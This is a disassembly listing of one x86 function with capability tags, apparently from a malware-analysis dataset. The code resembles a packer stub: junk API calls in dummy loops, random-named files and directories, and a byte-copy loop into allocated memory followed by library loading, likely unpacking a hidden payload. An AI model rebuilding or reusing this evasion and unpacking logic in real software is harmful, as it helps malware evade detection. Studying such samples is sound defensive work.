Function at 0x40b8f0
Capabilities:
Get common file path
Set current directory
Set file attributes

Disassembly:
sub esp, 0x834
mov eax, dword [0x441008]
xor eax, esp
mov dword [esp + 0x830], eax
mov eax, dword [0x2afc1b4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor esi, esi
or ebx, 0xffffffff
cmp eax, 0x8cf
jne 0x40b931
push 0
push str.cehihojurumisefeputekufafurebojo_pijeye_tujayito_gifehatikihorafuyeyemayo
lea eax, [esp + 0x44]
push eax
call edi
mov eax, dword [0x2afc1b4]
cmp esi, 0x162
jne 0x40b948
mov eax, dword [0x442df4]
add eax, 0xa231
mov dword [0x2afc1b4], eax
cmp eax, 0x141
jne 0x40b95f
mov dword [0x4438e0], 0xec58acac
mov dword [0x4438e4], ebx
inc esi
cmp esi, 0x129916c
jl 0x40b917
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
xor esi, esi
cmp esi, 0x562d05
jne 0x40b984
mov ecx, dword [0x441fd8]
mov dword [0x2afc1b8], ecx
cmp eax, 0x3c
jne 0x40b992
push 0
call edi
mov eax, dword [0x2afc1b4]
inc esi
cmp esi, 0x5f6c74
jl 0x40b970
cmp eax, 0x7c
jne 0x40ba12
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
lea ecx, [esp + 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2afc1b4], 0x2d
jne 0x40b9f4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x43f45c
push 0x443858
call fcn.00401015
push 0
call fcn.0040118b
mov eax, dword [0x2afc1b4]
add esp, 0xc
cmp eax, 0x110a
jne 0x40bab3
mov edx, dword [esp + 0x10]
xor eax, eax
push edx
push eax
mov dword [0x2afc080], eax
mov dword [0x2afc084], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
push str.cawaxukuyuberuyonoxabacizipime_tebofutocat
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.golufemakot
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0
push 0
lea eax, [esp + 0x48]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea ecx, [esp + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
call fcn.00401092
push 0
push 0
call fcn.00401092
push 0
call fcn.0040b484
push 0
push 0
call fcn.00401092
push 0
push 0
call fcn.00401196
push 0x43f498
push 0x443858
call fcn.00401158
add esp, 0x2c
push 0
call fcn.00401651
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2afbed4], eax
cmp dword [0x2afc1b4], esi
jbe 0x40bb27
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov ebx, 0x19b0
jmp 0x40bae0
mov edx, dword [0x2afc1b8]
mov dword [esp + 0xc], edx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov cl, byte [eax + esi]
mov edx, dword [0x2afbed4]
mov byte [edx + esi], cl
cmp dword [0x2afc1b4], 0x5ab
jne 0x40bb1e
lea eax, [esp + 0x14]
push eax
push 0
call edi
mov dword [0x2afbed8], ebx
inc esi
cmp esi, dword [0x2afc1b4]
jb 0x40bae0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040b5e0
call fcn.0040b5c0
call fcn.0040b8b0
call fcn.0040b5b0
mov ebx, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
xor esi, esi
lea ecx, [esp + 0x3c]
push ecx
call edi
cmp esi, 0x408e
jle 0x40bb69
cmp ebx, 0xf5bed7
jne 0x40bb72
inc esi
cmp esi, 0x687ed2
jl 0x40bb52
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
jmp 0x40bb90
cmp dword [0x2afc1b4], 0x7c4
mov dword [0x2afbedc], edi
jne 0x40bba8
push 0
push 0
call esi
sub ebx, 1
jne 0x40bb90
mov ecx, dword [esp + 0x83c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
add esp, 0x834
ret